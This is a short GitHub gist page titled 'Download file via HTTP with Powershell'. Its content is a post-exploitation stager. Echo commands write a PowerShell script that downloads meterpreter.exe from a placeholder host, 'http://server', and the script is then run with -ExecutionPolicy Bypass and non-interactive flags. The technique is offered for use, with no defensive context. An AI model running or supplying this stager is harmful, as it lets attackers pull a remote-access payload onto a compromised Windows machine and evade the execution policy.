Skip to content

Instantly share code, notes, and snippets.

@Sinkmanu
Created June 26, 2016 16:47
Show Gist options
  • Save Sinkmanu/b1ab478e817c191d15e75abe14926b84 to your computer and use it in GitHub Desktop.
Save Sinkmanu/b1ab478e817c191d15e75abe14926b84 to your computer and use it in GitHub Desktop.
Download file via HTTP with Powershell
echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://server/meterpreter.exe" >>wget.ps1
echo $file = "meterpreter.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
And run:
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment